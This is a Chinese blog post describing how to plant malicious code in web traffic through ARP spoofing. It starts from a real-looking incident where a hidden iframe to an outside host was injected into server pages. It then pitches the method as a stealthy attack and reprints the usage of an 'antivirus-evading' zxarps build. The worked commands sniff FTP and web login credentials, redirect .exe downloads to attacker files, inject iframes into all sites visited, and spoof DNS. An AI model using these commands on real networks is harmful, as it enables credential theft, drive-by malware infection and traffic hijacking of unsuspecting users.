arp挂马方案

 不管是访问服务器上的任何网页,就连404的页面也会在<html>后加入:
<IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFRAME>;,挂马的位置在html标记左右,上面这段恶意代码,它会每隔几秒加入代码,也就是说在输出具体的东西之前就被挂了,有时有有时又没有,不是网页源代码问题,也没有在网页源代码中加入恶意代码,即使重装服务器,格式化重分区过第一个硬盘,放上去网站没多久一样再会出现这种情况.

首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题.

那么剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的).

目的:通过 arp欺骗来直接挂马

优点:可以直接通过arp欺骗来挂马.
通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码
但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码
2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.

优点:1.可以不用获得目标主机的权限就可以直接在上面挂马
2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句.
3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果.

原理:arp中间人攻击,实际上相当于做了一次代理。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
arp中间人攻击时候: A---->C---->B
B---->C---->A
实际上,C在这里做了一次代理的作用

那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.
zxarps免杀版 -idx [index] 网卡索引号 -ip [ip] 欺骗的IP,用'-'指定范围,','隔开 -sethost [ip] 默认是网关,可以指定别的IP -port [port] 关注的端口,用'-'指定范围,','隔开,没指定默认关注所有端口 -reset 恢复目标机的ARP表 -hostname 探测主机时获取主机名信息 -logfilter [string]设置保存数据的条件,必须+-_做前缀,后跟关键字, ','隔开关键字,多个条件'|'隔开 所有带+前缀的关键字都出现的包则写入文件 带-前缀的关键字出现的包不写入文件 带_前缀的关键字一个符合则写入文件(如有+-条件也要符合) -save_a [filename] 将捕捉到的数据写入文件 ACSII模式 -save_h [filename] HEX模式 -hacksite [ip] 指定要插入代码的站点域名或IP, 多个可用','隔开,没指定则影响所有站点 -insert [html code]指定要插入html代码 -postfix [string] 关注的后缀名,只关注HTTP/1.1 302 -hackURL [url] 发现关注的后缀名后修改URL到新的URL -filename [name] 新URL上有效的资源文件名 -hackdns [string] DNS欺骗,只修改UDP的报文,多个可用','隔开 格式: 域名|IP,www.aa.com|222.22.2.2,www.bb.com|1.1.1.1 -Interval [ms] 定时欺骗的时间间隔,默认是3秒 -spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者 -speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB example: 嗅探指定的IP段中端口80的数据,并以HEX模式写入文件 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件 zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121 -spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -logfilter "+POST ,+user,+pass" -save_a sniff.log 用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探 zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter "+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log 如果嗅探到目标下载文件后缀是exe等则更改Location:为http://xx.net/test.exe zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30 -spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/ -filename test.exe 指定的IP段中的用户访问到-hacksite中的网址则只显示just for fun zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun<noframes>" 指定的IP段中的用户访问的所有网站都插入一个框架代码 zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert "<8))e src='xx' width=0 height=0>" 指定的两个IP的总带宽限制到20KB zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20 DNS欺骗 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值